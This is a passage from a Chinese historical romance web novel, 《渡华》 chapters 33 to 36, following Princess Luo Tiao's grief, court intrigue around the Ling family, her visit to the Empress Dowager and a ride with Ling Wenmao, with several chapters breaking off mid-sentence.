儿时不顾父亲一身刺骨铠甲,窜进他怀里,摸着他扎手胡须,那个奶声甜音不断的小女孩,竟什么都没有去做,像个哑人,悄然无息地送走自己的父亲。 还要送走大嵘。 骆苕蜷缩成团,黑暗之中用寝被蒙住脸面,不住打颤,抽泣。同样是下雨的夜,她的父亲轰然倒在寝殿外,连告别的机会都未曾给她。 没有雷电的雨夜,雨声凄凄切切,哀怨如妇人。 寝被中的人终于停止抽泣,翻身平躺,双目空洞地直视着,虽然什么都看不见。 将自己知道雁鸣山李潜是凌晖的人,透露给凌文袤,不知他对凌晖会如何转述。原本这件事不用再翻出来让凌家人知道,但为了白幼黎、白言霈,她决定挑明了说,自己知道凌晖一些的过往底细,却在此时以这种方式告知凌晖,只愿他们放过白幼黎,有事冲着她来。 兜兜转转思绪还是落在白言霈身上。 他若活着,如今会在何方? 在未等到白幼黎之前,他必定不会独自前往圻地和南峪。她将白幼黎送去涪郡咏竹居,他是知道的,或许他会在那等白幼黎,但是四年多了,他不会在那苦等。 涪郡,咏竹居已经暴露,若凌晖的人去追查,她想,明智如白言霈,断不会任人追踪。而当初送白幼黎前往咏竹居的那纵人马,是她的心腹,是他亲手为她选拔、教导,定是一同随他而去了。 最终与白幼黎汇合之后,他们极有可能,前往南峪,他曾踏足过的异国。 此生白言霈的志向是,完善前人还未完善的南北通济渠,使两地百姓互通有无便以足矣。而这样的志向,在山河碎裂,战火纷飞的现世,如镜花水月不堪碰触。 那必将先兴国安邦。 床榻内的骆苕发觉自己有些冷,手脚冰凉。她再次拥紧寝被蜷缩而卧。 十一岁亲自选定他为驸马都尉,其实十三岁便可成婚,但他好像一直在默默地等她,等她不再长个,等她博学多闻,等她缅怀胞弟,等她及笄…… 终究是她误了他,负了他。 长夜沉冗,骆苕的心脏开始抽痛,时不时地像被针扎刺。 她想要忘了他,但根本做不到,只能将他隐藏在暗夜,在没有人的时候反复惦念。 她想忘了他,忘了他。 蛊惑自己忘了他。 ** 东面长廊,阿石坐在廊板上,双臂搭在膝盖面朝河道,眼皮有一瞬没一瞬地抬一下,他不是困,只是脑袋空乏。 听见身后响动,扭头一看,只见平平朝他过来。阿石起身拍拍屁股,不等平平开口,问道:“你怎么还不歇息?” 平平转到阿石身前,上下打量一番,阿石看似与平常无二,可从他的手脚动作中可以察觉,他很不一样,有些消沉。 见平平没出声,阿石看她一眼:“别看了,做了错事,害长公主动气。” 平平把捂在怀里的糕点塞进阿石怀中:“今日刚做的石榴酥, 33. 第三十三章 《渡华》全本免费阅读 每遇雨水连绵,凌晖会同司水中大夫那帮臣工巡视汎河河堤。 凌文袤傍晚回府时在半道与凌晖打过照面,碍于臣工在侧,他只是下马行了个礼便先行回了府。 沐浴用饭过后,如往常一样在恒锦堂等凌晖。 半个时辰内,他在站与坐之间转换多次。 发髻未干,草草拢在颅顶,脸侧挂着一缕从发髻遗落的垂发,轻触脸颊好像有些痒,凌文袤抬手将那缕垂发牢牢地别进发髻,人直接坐在案上。 从前寄养在刘府,君子六艺是必须要学的课业,凌文袤曾也一度自恃为翩翩君子,又不失武将风骨,自从跟去舅父赫连度兴身边,他对这些仪表仪容也不甚在意了。 未入京之前,对于京中政权盘结,凌文袤粗略地知晓一些,如今这都是明面上的事。 若当年白氏一族不灭,长公主骆苕与皇太后慕容瑾联合朝臣,扶持骆骞坐稳帝位,灭的便会是凌氏一族。 慕容霆彦与凌晖虽为挚友,家国大事面前,必不会与凌晖站在一起,况且慕容氏一族与骆氏皇族早已家国不分。 只是,骆炜诠诛杀骆氏宗亲,夷白氏六族,打压慕容霆彦,看似为巩固皇权,实则也为凌晖扫清障碍,凌晖成了权势最大离皇权最近的人。 文死谏,武死战,抛开立场,白明绪一身忠骨绝对令人敬佩。而凌晖,一介异姓武官,在皇权之下如履薄冰,前不能进,后不能退,稍有差池终将粉身碎骨。 辅国功臣成为权臣,就再也没有回头路。 灯台上的烛火摇摇曳曳,凌文袤起身,向堂内一角的刀架走去,立在前面仔细端详。 架上横贯静置的长刀挺直,握柄磨损的异常厉害,鞘口提扣不见踪影,马皮所裹的鞘身革面斑驳,今早凌晖抽刀后,凌文袤看见刀身上有几处豁口。 一柄老旧佩刀,却依旧寒光逼人。 远在勍州的国柱大将军慕容烈,幸亏十年前得了一场卒中,被收去兵权,留其爵位、勋位,语焉不详半瘫在府,才不至于让孝玄帝骆炜诠动下杀念。 慕容霆彦早年遭孝玄帝骆炜诠全力打压,孝玄帝临死几月前将人再次重用,以图制衡凌晖,岂知慕容霆彦顺势而为,早与骆氏皇族划清界限。 骆炜诠诛杀宗亲功臣,拿什么继续匡扶大嵘?防止外戚干政又想外戚辅政,骆炜诠行将就木的时候才想起慕容霆彦。 晚了。 皇太后慕容瑾温婉恬淡,不争世事,背后却有一人牢不可撼,经年戍边的裴氏,宁西将军——裴山恭,承袭父爵安城郡公,自身又功勋卓然。 裴山恭与慕容瑾少时两情两悦,彼时尚为晋王的骆炜诠一心倾慕慕容瑾,骆炜诠捷足先登,求旨迎娶慕容瑾为晋王妃,皇帝应允,即指婚。最初,慕容烈并不看重晋王骆炜诠,奈何皇命不可为,唯有安抚慕容瑾。 就这样,一对天成佳偶,生生沦为政治联姻。 裴山恭一直未娶正妻,常年戍守边疆。 政局流转,亦不曾听闻骆炜诠对裴山恭动过杀心。 局势错综复杂,凌文袤抱臂而立,低眉沉思。 入京之后,关于骆苕的状况,他听凌晖讲过一二。 骆苕曾有十二支精锐亲卫和私兵无数,后来私兵被收,其中一支精锐亲卫被骆炜诠归缴在贺兰融麾下,其余十一支,一百三十二名精锐不知去向。 一百三十二人,这是个可以忽视却也刺目的数字。 归缴在贺兰融麾下的那支精锐亲卫十二人,如今跟着贺兰融每日浸在西市的喧嚣之中。 贺兰融虽为千狮卫统领,总管西市,北市,东市,但他大多出现在西市。贺兰融麾下除了那一支原本属于骆苕的精锐,其他人全是凌晖安排。 贺兰融的父亲贺兰永临,英年早逝,与大司寇贺兰启臻为兄弟,但兄弟二人心有嫌隙,平日并无往来,一直到贺兰永临离世,兄弟二人的嫌隙都未开解。 贺兰融,凌晖曾说是位不可多得的将才,只是一时难以诚心归顺凌氏。孝玄帝骆炜诠末年昏聩,若非长公主骆苕极力阻拦,贺兰融早已如白明绪一样死谏殉国,尸骨无存。 骆苕拎出他的妻儿、母族,才让贺兰融冷却心智。于凌氏而言,贺兰融的妻族李氏,也是一块难啃的骨头。 凌文袤吁气,身体随之一动,移步案前,转身坐了上去。 从前的“集贤居”为骆苕召集贤才的要地,“清雅堂”而是她敛财的要地,这两处要地都已经早早遣散,“集贤居”的门客有迹可循,而从“清雅堂”累起的无数钱财,无迹可寻。 凌晖猜测是白言霈替骆苕藏匿转移钱财,这么一大笔富可敌国的钱财倘若流落在外,若做他用,于凌氏万分不利。 今日凌文袤被锁深堂内屋,骆苕有意让他知道白言霈已死,放过白幼黎,怎料反而牵出白言霈未死。 只是,四年多,骆苕只当白言霈已死。 至于那笔钱财,必定不在白言霈手中。涪郡咏竹居,雁鸣山李潜,话里处处是玄机,这些该如何向凌晖禀明? 凌文袤宁愿今日从未听过这一遭。 他双臂向后支上案面,仰首深嗅。 久雨未歇,天起了凉意,堂内掺杂进湿润舒爽的雨气,吸入肺腑,一腔满是凛冽。双手指腹轻轻叩击案面,脑中暂时放空,不再往细处想。 她真打算孑然一身? 约摸过去一炷香的时间,侍女引人入恒锦堂。 凌文袤作揖,恭敬地喊了一声:“曹叔。” 曹勤,凌晖心腹。 “五郎主。”曹勤单手回礼,“大司马料定郎主今日会在堂内等他,所以让属下先行来府,转告郎主,郎主若有要事问询禀报,可对属下知无不言。” 曹勤一如从前官职加身时那样,称呼凌晖为大司马,而不是现在总管六府的大冢宰。 曹勤跟随凌晖替孝玄帝平叛乱,保疆土,后为凌晖顶罪,脸刺罪烙,断右臂坡左脚,流放屹地。 直到孝玄帝骆炜诠崩逝,凌晖才将人从屹地释罪调回身边。 断臂坡脚武将,脸刺烙印,迎回京都,也不可能再继续领兵打仗。但曹勤深受凌晖器重,特准曹勤携长刀在侧,以僚属的身份辅理朝务,即便没有一官半职。 “这个时辰,父亲还未归,可是河堤有恙?”凌文袤神色微动,瞥眼看向曹勤的袍摆,鞋履,曹勤袍摆洇湿,清水冲刷过的鞋履不见一丝泥泞,凌文袤又转眼向堂前望去。 单单这样的雨势,河堤应当不会有恙。 曹勤右脸颊还覆着一块遮烙印的面罩,他笑着顺手解下,回道:“河堤无恙,今日堤岸之上,所遇农人甚多,大司马需一一攀谈,便就此耽搁了。”放稳面罩,“今岁,农人对田桑看得紧,生怕河道再次决堤,殃及自家田亩。” 凌文袤了然,心中忽地被什么点明,点了点头:“原来是因此耽搁了。” 他父亲在笼络民心,民心所向,汎河河渠重建指日可待。 凌文袤摇头叹息:“这汎河堤坝,历经百年,新建时,典籍上面留下的都是赞誉美词,如今却犹如悬在农人头上的一柄利剑,随时有掉落的危险。” 朝堂外侍女唤去,“换茶。” 又请曹勤落座,待二人坐定,曹勤开口说道:“山川相缭,汇流之经道日日有所变更,微不可察,所能察觉的地方,只有档册上记录下的汎河水位线,经年见涨。决堤,并非不可预见,奈何时运不济,未能及早修建。” 呡茶续道,“如郎主所言,这柄悬在农人头上的利剑,随时有掉落的危险,只是……刺中的却是朝廷的命脉。” 凌文袤称是,伸手端盏饮茶。 从前赞誉汎河的美词,背后不过映射的是对当权者治国有方的咏唱,今日变为讥讽,也同样映射的是对当权者治国无方的批判。 “郎主今日为何会出现在汎河河堤?”曹勤放下茶盏,问得和气。 “噢……”凌文袤好像才想起正事,看着曹勤,蹙眉困惑,“在堂内等父亲归来,就是要回禀此事。今日长公主与我说,四年前白言霈跳入决堤的汎河,不见踪迹,是生是死她也不知。长公主的话不知真假,我便策马前往汎河河堤看看,倒也看不出个所以然来。依曹叔之见,该如何解析长公主所言?这白言霈一线可有必要追查下去?” 听闻骆氏长公主骆苕,曹勤心中不由一冷。 此女狡黠又不灵慧,没有手段全是些小伎俩,若非身后还有皇太后,第一个死的便该是她,而不是骆骞。 当年大司马替世子求尚她,也不过是权宜之计。 骆炜诠为君,大司马为臣,世子凌承佐求尚君主之女,那便是凌氏甘愿代代为臣的意思,不给骆炜诠疑大司马有夺取皇权之心。 白明绪已被夷去六族,骆苕若能答应大司马替世子凌承佐求尚,今日便不会如此大费周章与她周旋,日后还能保她一命。 一位前朝公主,留得一命,给予荣华,已然是凌氏皇族开恩。 世子凌承佐若纳了她,可以笼络、安抚曾效忠于前朝的旧臣,立威施恩于朝堂。前朝旧臣,如今大多如慕容霆彦那般样顺势而为,对骆氏皇族避而远之,怕再遭牵连,余下的也只是负隅顽抗,势力根本不足为惧。 骆苕可为妻,但不可留有嫡嗣,因扶持凌氏夺位的朝臣,不会允许靠山强劲的前朝公主骆苕,诞下与前朝血脉有瓜葛的嫡嗣,如果这嫡嗣因前朝公主骆苕,顾念起外祖骆氏这一脉,借机清算起这些朝臣,后果不堪设想,这些朝臣必不会允。 世子凌承佐的生母已是前朝早逝的昭阳公主,年岁久远,昭阳公主与骆炜诠一母同胞,母族落没,对现下局势影响甚微,世子凌承佐勉强可以继承大统,只是不可再与前朝血脉牵扯太过,特别是后嗣。 旧事已过,不可再追。 曹勤脸颊浮起一抹为难之色,手指揉向眉心,看向年轻俊逸的凌文袤:“女子心海底针,难以捉摸,真是好生难为了郎主,郎主问属下,属下也好生难为。不过,长公主肯向郎主袒露心事,久见人心,想必郎主日后必达所愿。至于白氏余孽,不过尔尔,怎可与郎主相比,是死是活,只要长公主无心于他,那便翻不起风浪,查与不查,都无妨了。” 凌文袤听完,自嘲讪笑:“曹叔这是在取笑我呢,必达所愿,从前我一心只想收复圻地,昨日之后,一心只想踏平东刕,朝思暮想的不过是立下一寸军功。长公主的心,也解不了我朝三暮四之苦啊。” 其实查不查白言霈根本不重要,而是要他笼络住骆苕这个人,安抚慕容氏,安抚旧臣才是重中之重。 一向稳重的曹勤被逗笑:“郎主还年轻,血气方刚,想要立军功乃人之常情,收复圻地,踏平东刕,往后有的是机会。” “还年轻?”凌文袤不敢苟同,“父亲十七岁已是战功赫赫,打的东刕联军落荒而逃,舅父同我讲行军布阵经过时,听得我眼冒精光,涎水直流。” 曹勤定在凌文袤脸上看了一瞬,敛去笑容,正色道:“今日不同往昔,大司马当年是因形势所迫,必须刀枪不歇,方可保命,终归,以战止战不是长久之计。大司马已触及今日这高位,郎主且宽心享大司马所辟的荫泽,再用心思虑大司马的难处才是,现下,最紧要的是安内,国之不宁,民生不安,拿什么去抵御外敌,收复圻地?” 一番肺腑真挚之言。 凌文袤称是,郑重点头,默着回味 34. 第三十四章 《渡华》全本免费阅读 四更雨停。 五更,公主府被圈养的公鸡嗷嗷嗷地准时打鸣,因刚刚成禽不久又被宰杀地所剩无几,所以打鸣声不够嘹亮,零星地此起彼伏。 府内中庭花园,东西两排屋舍裹着两方池塘,一池粉荷,一池七彩睡莲,那池粉荷经昨日雨水涤濯也未弯折,反而越发傲然挺立。 阿石提灯划着小舟穿行在粉荷当中,拨开荷叶,探手采摘一日之中最为鲜嫩的莲蓬。 “阿石!” 平平昨夜睡得踏实,今日早起精神抖擞。 阿石抬头望去,看清池塘边提灯正向他挥臂的平平,他囫囵收眼,精准采下一支莲蓬,说:“一会儿就好!” 骆苕茶饭不思,唯有这新鲜莲子,还能将就吃上几颗。所以每日这个时辰,阿石必定会出现在这荷池之中。 “长公主已经起了,正在洗漱。”平平报信,“今日长公主要入宫拜谒皇太后,你赶紧些。” 闻言,阿石立刻划桨调转舟首,往岸边去。 荷池莲池有水渠相通,而莲池又与东岸外的长河暗渠相通,即便再大的雨,这两方池塘一直都保持着相宜的水位,阿石一连几日都未能看明白里中玄妙,本想今日再探个究竟,心想算了,来日方长。 小舟触岸,阿石抱起一大簇莲蓬递给平平:“你先送去厨堂。” 平平接过莲蓬,拢向胸前,喜道:“长公主今日要带我们入宫,之后再去东市采买,长公主吩咐,只需你穿平日里穿的衣袍,不用穿内侍服。”说完抱着莲蓬退离荷池,往厨堂而去。 到底是少年人,原始的本能开始作祟,久未出府的阿石心中腾起一丝欣喜,似乎也被平平雀跃的模样给感染,矫健地提起灯笼跨上池岸,打量一眼身上被露水打湿的衣袍,迈腿赶紧先往禽舍那面瞧瞧。 梳妆阁内灯烛浮动,骆苕坐在妆台前对着铜镜发愣。 今日的她不是僧尼打扮,一袭海棠红色菱格纹半袖袍,配素色短靴,头戴垂裙青帽,净透皙白的脸面只草草抹了舒颜膏并未上粉,左右端详起铜镜中的人,眉心一蹙,不是很满意。 拿指尖沾了少许鲜红口脂,点向双唇抹开,抹匀之后轻轻抿了抿唇,铜镜中的人这才看起来得体一些。又沾了些许浅红色口脂,染向脸颊,最后起身再探看一番,才算真正满意。 身体发肤受之父母,若让皇太后瞧见骨肉嶙峋的骆苕,气色再不好,一定会心疼。 今日入宫,骆苕没准备带申怡,申怡默默地为骆苕打理好一切,陪同骆苕前往馀居用早膳。 馀居的案上,整齐地摆着膳食,一碟挑了心的新鲜莲子,一碟糯桃酥,一碟脍昆仑紫瓜①,一碟水芹腌笃鲜,一张胡葱烙饼,一盅千丝鸡羹汤。 骆苕平日里对自己的膳食无过多要求,只要求分量少。厨堂做什么吃什么,遇见合口的便多吃几口,不合口的少吃几口,未动过的,下次便不会出现在食案之上。 对下人倒是有要求,让厨堂庖娘计算着,荤素必须搭配合适,分量也要足。都是些过十将将出头长身体的年纪,吃食自然讲究一些。 再说名义上,落发修行的人是她,而不是她们。她都未守清规戒律,何必强求他人清苦灭人欲。 骆苕动筷,每一样都临幸过后,再把那盅羹汤吃尽,最后捡食新鲜莲子。今日馀居这景况,最高兴的要属庖娘,骆苕离开馀居时,还让庖娘包了一份糯桃酥。 幸好庖娘做的糯桃酥分量足,原本新研制口味、品相的糯桃酥要分给大伙尝尝的,今日全侍奉给了骆苕,顿时心花怒放。 天微亮,是个晴好的日子。 府外早已备好车驾,阿石立在府门前,时不时正一正发髻上的小布冠,瞅一瞅脚下鞋履。等到骆苕出府,他同一行人行礼后忙上前摆好马凳。 平平上马车掀开帘帐,目送骆苕入内坐定,自己再一溜烟地钻进厢内,挨着一角规矩地坐好,阿石收凳坐向马夫的鞍座旁。 玄雀卫护卫上马。 马夫按照惯例朝身后提醒:“长公主,您坐稳。”轻掸缰绳,车驾缓缓驶出。 厢内骆苕摘下幂篱搁在一旁,对平平说:“提醒阿石,庖厨宽敞,往后杀鱼杀禽不必跑到府外去。” 平平还沉浸在出府的怡悦之中,闻言,心中咯噔一下,应:“是。” 明明阿石近在咫尺日日可见,长公主却要她传话,不免想起昨日阿石跪在东面长廊的场景,到底何故才使得长公主对阿石心存芥蒂,不愿直言吩咐。 今日还带他俩入宫,又去东市赶集。 光兴门每日开启落锁都很早,马车缓行,顺利通过。 进城没多时,马背上的玄雀卫侍卫来不及阻拦,便见前头一匹骏马飞驰而过,马上之人微俯身,双眼盯注前路聚而有神,对旁的一切都不在眼中。 车驾两边的护卫同时扭身望去,又回身对视一眼,点头再摇头,二人都知道那人身份,是凌统领身边的随从。 一青。 他们好奇,一个随从竟做不到眼观八路,耳听四方。长公主这么大个车驾,生生被他给直接忽视而过,不下马退避也不行礼。 真是个奇才。 这个奇才去的方向看似会是宁华公主府啊。 护卫朝里禀报:“长公主,方才卑职瞧见,凌统领的随从策马飞驰而过,看样子是去公主府。” 里厢骆苕不欲多想,只说:“无妨。” 车驾继续前行,行至十字交汇处车马停歇,外头传来玄雀卫交谈的声音。 平平看向骆苕,目光滞疑:“是凌统领。” 不知今日这凌统领和他的随从分开行事,所为何事。 平平身子往前一挪,还未掀帘,只觉锦帘外黑影压来,平平赶紧又往后退,躲回角落,随之锦帘自下而上被推起,一团锦绣攥握进掌心。 狭窄的厢内顿时亮起,真实面容迫近,视线探进来,由下及上,定在骆苕的脸上,二人对视一瞬,凌文袤又将视线落在她的唇上。 日日不同颜,今日又换了一副面孔。 平平只匆匆看过一眼,便不敢再面对这静谧的场景,侧过身,将脸面朝向厢角。 骆苕似乎在等他先开口。 凌文袤倒也顺了她的意,慵闲随和道:“我……等你出宫。” 此话言简意赅,却有着不小的杀伤力,入耳像一句温情脉脉的情话,从他口中说出来,骆苕微微晃神,看向他的衣袍前襟说:“出宫之后,我们要去东市。” 谁都清楚,市集除了买卖货物,还是友人、佳偶相聚相约的好去处。 凌文袤稍作思索:“正好,东市鱼龙混杂 35. 第三十五章 《渡华》全本免费阅读 皇太后慕容瑾自孝玄帝骆炜诠崩逝之后,应当移居颐和宫,只是政局生变,如今,依旧深居正阳宫长信殿。 长信殿后花园的凉亭内,骆苕枕在慕容瑾的膝头,一如儿时仰脸看着自己的母亲,话音轻轻柔柔:“阿母,可真好看。” 都说儿时被爱浇灌长大的孩子,会疯狂长出血肉,面对慕容瑾,骆苕依旧是那个满血满肉的女娃。 一旁案上阁着《郅律所说经》和一包糯桃酥,《郅律所说经》慕容瑾未曾翻阅,而荷叶所包的糯桃酥已被打开,里头少去一枚。 慕容瑾细细品尝完,眼望园中景:“公主府膳食上佳,却未能将你养胖一些,还是这么瘦。”抽了帕,轻轻拭唇拭手。 骆苕笑着说:“春困秋乏夏打盹,女儿只在冬日狠吃才长胖些,阿母向来知道。” 慕容瑾垂首凝视骆苕的脸颊,掌心轻轻拂过,微微颔首。 慕容瑾不忍戳破骆苕极力遮盖的谎言,这张从小看到大的脸,她最为熟悉,即便往年的夏日也不曾如此瘦削。 骆苕视线落在慕容瑾的鬓边,伸手去碰触。良久,慕容瑾一声叹息,慢道:“老了,不知何时生出了白发。” “怎会?”骆苕垂手握住慕容瑾的手掌,紧紧相握,仿若如此便能抵过逝去的芳华,“阿母颜如舜华,还如从前一样。” 白发催人老并不适合她的阿母,她的阿母容颜不曾有变,鬓边微不可见的银丝反倒添了气韵。 她的阿母容颜未老,是心老。 骆苕也不敢与慕容瑾说,从此往后,自己不会让她担忧操心。 慕容瑾嘴角衔起浅笑,眼里盛着一汪碧水,轻轻打趣:“昭昭打小就爱夸阿母,如今阿母已是老妇一位,若还颜如舜华,便成了老妖妇。不过,昭昭每次夸阿母,阿母都很受用,连心疾眼疾都会好许多。” 昭昭是骆苕的小字。 取“烂昭昭兮未央”之意,也是取“昭昭如愿岁岁安澜”之意。 骆苕很喜欢母亲为她起的这个小字。 骆苕从慕容瑾膝头脱离,坐好,望着园中已经谢了的子母海棠枝桠,出神一会儿,才说:“阿母,昭昭想重新为您寻找名医,这宫中的御医治不好您的心疾眼疾。” 慕容瑾面色淡淡,否决:“阿母的身子阿母自己最为清楚,眼疾乃心疾所引,前些年心疾久犯,一直以为不会见好,后来时好时坏,如今却只是偶有发生,想必日后定会病愈,阿母很好,你在宫外,切莫担忧。” 骆苕心如芒刺,无力回首看慕容瑾,一直是自己让母亲慕容瑾担惊受怕。 慕容瑾素来温婉,素来坚韧,她对骆苕所行之事从未干涉,却适时给予十分的佑护。 慕容瑾身为一国之母,对朝局并非一无所知,骆炜诠有意将她养成笼中雀,她蒙蔽心神漠然置之。 骆苕从儿时起便会与她悄悄诉说时政,架构在骆苕认知下的时局,见解从稚嫩到成熟,慕容瑾从始至终都在领受。 慕容瑾犹如骆苕恣意倾诉的一处幽室,安全舒适。 如今慕容瑾留得一具皇太后躯壳,也不过是为了自己的女儿。 “好。”骆苕吞纳苦楚,“昭昭听阿母的。” 慕容瑾从案上捧过《郅律所说经》,掀起一角,入眼是拓本字迹左右倒置的开篇,她又慢慢合上,将《郅律所说经》重归于案。 “昨日,炎儿来长信殿探疾,阿母没有召见,他不肯离去,一直在殿外等候,直至太阳西沉。今早也是,方才我传命于他,他才离开。”慕容瑾长叹,“他许是来遇你。” 孝玄帝骆炜诠遗诏,赐死骆骞生母,传位于骆骞。凌晖刺死骆骞,赐死骆炎生母,扶骆炎为帝。 子立母死这一前朝废弃诏令,被皇帝权臣召之即来挥之即去,玩弄于股掌之间。 孝玄帝骆炜诠赐死骆骞生母,意图借靠慕容瑾和慕容霆彦一族辅佐骆骞,延续大嵘。穷途末路,指望先舍后用,没曾想慕容霆彦早已暗中倒戈凌晖。 而凌晖赐死骆炎生母,是为铲除异己。 八岁的骆炎,在偌大的正阳宫,犹如无头游魂,伶仃残生。 清晨的朝气寒凉,被垂裙包裹的脖颈仍然激起寒粒,骆苕倒吸凉气,轻问:“炎儿可还好?” 文武课业俱已停授,让他断绝与宫外的一切联络,骆炎岂能好。 “还算安稳,前日从御苑回来,得了两尾漂亮马鞭,特地送来长信殿让阿母过目。”慕容瑾说完心中沉了沉,宫中已经许久没有出现,像骆炎那日欢快的稚子笑声。 “潆儿的身子可好些了?”骆苕忽略骆炎,故作无差别相问。 慕容瑾心事上涌,面色依旧淡淡,饶有深意地说:“潆儿啊,她的身子向来如此……兴许嫁人后便会无碍罢。你落发出宫的后一日夜里,听闻倚案阅书,让烛火燎去半边秀发,至今未出过寝殿。” 骆苕秾丽半垂的眼睫随之一眨,缓缓吁了气。 日光渐盛,几只雀鸟临空而过,不作停留,慕容瑾望着远去的几小黑点,平心说道:“大冢宰有意将宫中的几位皇女出降给朝中功臣,前些日子内侍监廖弭前来传信,大冢宰问阿母的意思,让阿母定夺。阿母还未回应,待与她们的生母一起拿定主意,阿母便会给她们赐公主封号,让炎儿送去朝会,以示皇恩。” 又说,“你给骆潆,骆芷,骆茹备下的陪嫁,存在阿母这里已有多年,是时候给她们了。” 骆苕咽喉干涩,嗯了一声,顺手端了案上的茶盏饮下一口,说道:“昭昭有的是银钱、朱钗首饰,如今能一并送出去,才心生痛快。” 痛快吗?痛快,是失意后被人侑酒的那种痛快。 骆氏的皇女如同珍宝物品,抬一抬虚名,也要被人瓜分干净。 凌晖开始腾空宫殿。 骆苕是骆炜诠的嫡长女并非长女,自她指定驸马都尉白言霈起,她便已经为后来的妹妹们都备妥了一份陪嫁,以皇太后慕容瑾的名义加赠给她们。 独独明日要启程和亲的骆薇,骆苕似乎将她忘却,不敢去提。原本她也给骆薇备下一份,只是一份陪嫁怎抵和亲之苦。 不如就此将那份陪嫁湮灭在大嵘的皇宫里。 慕容瑾牵过骆苕的手,在她手背轻轻拍了拍,迟疑着开口:“那……你呢?听闻凌五郎有意于你……” 骆苕眼波微动,面皮浮笑:“阿母啊……”突然面皮架不住笑,嘴角下弯抽搐,“若是婚嫁,昭昭便算了罢。” 心中层层递进的刺痛感,让人呼吸都困难,不明白人心为何会这般驳杂。 好些事以为暗夜独自伤神已经足够,今日见到自己的母亲,骆苕莫名其妙一点痛都受不住,只想哭。 听到凄凉的颤音,慕容瑾心中跟着钝痛,揽骆苕入怀,在她耳边轻诉:“无妨的,想哭便枕在阿母肩头好好哭一场,此生不嫁,阿母也都依你。” 自白明绪被夷六族之后,她的女儿便没在她面前哭过。 骆苕吸气摇头:“阿母还记得白言霈的模样吗?白言霈沉若镜湖,昭昭喜欢。阿母应当还未见过凌五郎,凌五郎灿若朝阳,昭昭也喜欢。只是他二人永远不会是我的夫君。” 多种不一样的恨,混搅在一处,散发着浓烈恶臭,又被喷洒上些许爱,试图盖过恶臭,蒙混过关。 流着骆氏皇族血液的骆苕,恨不得将自己葬于深渊之下。 慕容瑾一下一下安抚 36. 第三十六章 《渡华》全本免费阅读 骆苕一出掖门,远远地看到了一行人。 凌文袤早已换了寻常青灰方领衣袍,放眼望去,从掖门内拐出的人还没看清身形,就钻进了马车。 好大一会,才见马车缓缓向这面驶来,凌文袤近前,马车停稳,这次他没直掀帘帐,而是指节叩击厢壁。 厢内人撩起锦帘,一对眼,凌文袤便觉不秒,骆苕神色恹恹,整个人是蔫的,他莫名其妙地叹了口气,直问:“你是要与我共骑一匹马呢,还是给你雇一架驴车?” 话里没有独自骑马的选择。 骆苕眸光定在枣红马油光水亮的皮毛上,轻轻抬了抬下巴,回得出他意料:“共乘一骑。” 凌文袤眉尾一挑,调转马头:“先随我来,得给你的两位仆从雇架驴车。”她每次的选择似乎都在故意考验他。 骆苕放下锦帘,看向局促窝在一角的平平。 离皇宫渐行渐远,拐进辅道一行人停下,骆苕戴好幂篱下车,一架驴车早以备好在巷道里。一行十一人被凌文袤打发的打发,安排的安排,他和骆苕身侧只留下了一青和赤眉。 平平和阿石随另外两位玄雀卫护卫先行前往东市,骆苕吩咐他俩想买些什么都无妨,吃的用的随意,一早出来已经让他们备足了银钱,只要在光兴门落锁前能赶回公主府便好。 见人远去,凌文袤才翻身下马,说道:“你这是带他们出来放风呢。” 骆苕没否认,轻轻嗯了一声,向他的马匹靠近,掀起垂纱一角看马匹的正脸。一匹品相上乘的骏马,滚圆的眼睛忽然长睫一闪,对她眨了眨。 “喜欢就送你了。”凌文袤拍了怕马脖子,示意骆苕上马,“这养在京都城的马,哪哪都好,就是性子训得太温不够野,人人都可驾驭,这还是我特地挑来最烈的一匹。” 骆苕踩镫上马,动作一点也不拖泥带水,坐在马上俯视凌文袤:“京都城地狭人多,被训得拘了性子。人在京都城呆的久了,也会同马一样。” 话里有话,只是凌文袤没有抬头看人,戴着幂篱也没处瞧,他笑了笑,跃上马背,隔着幂篱轻吐浊气:“你是在说我,还是说你自己呢?” 靠得太近,幂篱遮挡视线,沿边又将好卡嘴,凌文袤不得不坐直身体,脑袋往侧面避开一些,双臂穿过骆苕腰身两侧去抓骆苕手中的缰绳,骆苕见机把缰绳塞进他手里:“在这京都城,你我都是人,有何区别。” “驾。”凌文袤掸掸缰绳驱马前行,“自然有区别,你已被训拘,而我,才刚刚开始,还野着呢。” 一句还野着呢,长音拖尾,声色尽是肆意放纵。 “驾!”凌文袤策马提速。京都内城携女子策马飞奔不成体统,所以得另辟小道前行,三弯四拐后便入了无人巷道。 去的方向不是东市,是西郊城外。 中途实在是嫌骆苕的幂篱碍事,索性让她摘了。骆苕摘下幂篱还未捏稳,凌文袤单手持缰绳,腾空的那只伸来拿她的幂篱:“给我。” 幂篱脱手,凌文袤头也不回地向身后将幂篱甩了出去。 他重握缰绳的手已然空空,骆苕微微扭身,本能想看一眼被丢掉的幂篱,这时二人之间没了幂篱阻隔,背跟胸几乎贴在了一起,头一侧便是他的下颚,听见声音从颅顶传来:“丢不了,一青会接住它。” 骆苕正了身,方才掀幂篱的风此时正刮着骆苕的垂裙青帽。 凌文袤施施然开口:“你我如今这样,该守的规一样没守,不该破的戒……瞧着也差不远了。一头秀丽长发你何苦说绞就绞,我寻思也没必要,当初寻个借口搪塞搪塞东刕也便打发了。” 骆苕默了一瞬,说:“它总归还会长的。” 凌文袤对着她的耳畔低低“啧”了一声,似是惋惜,慢慢吐出,“倒也是。” 马速不快,正穿越一片茂林,有些颠簸,颠簸之中凌文袤问道:“对前日酒宴上的我可还满意?美人可是一个都没碰,反倒被她们沾了些许甜头。” 骆苕心思流转想起前日,有些答非所问:“那身流锦衣袍和脂玉帯銙很好看,特别衬你,只是……”骏马跨过小草丘,她的后颅撞在了他的胸膛,“稍稍有腰缠万贯之感。” 凡人为修道成仙,食玉之风盛行,好玉千金难求,那样一方玉帯銙,可以价值连城。 凌文袤认同,嘴角勉强向上一扬:“好看……特别衬我,那便是说我也好看。”不相称的腰缠万贯这种遣词,在此时根本不值一提。 骆苕沉眉,不再接话。 “昨日回府我可什么都没说,今早还帮你探了探那雁鸣山女子的消息,听说她被神鹰卫送回后,便自行离开了雁鸣山,无人追寻她的踪迹。至于白言霈……生死难料,随他们去了。”凌文袤极不情愿地将话说到正题上,又想赶紧翻过去。 骆苕猝不及防,后背一僵,有些恍惚,她问:“当真?” 白幼黎在雁鸣山那么久,没暴露,就这样离开了雁鸣山。 凌文袤眉毛一竖,不耐:“你不当真,那便当她死了吧。” 骆苕生涩地笑了笑,说:“我信你。” 凌文袤眉毛一挑,觉得她还算知趣。 “你该如何谢我呢?”他倾身而下贴着她的耳边袅袅相问,提示很到位。 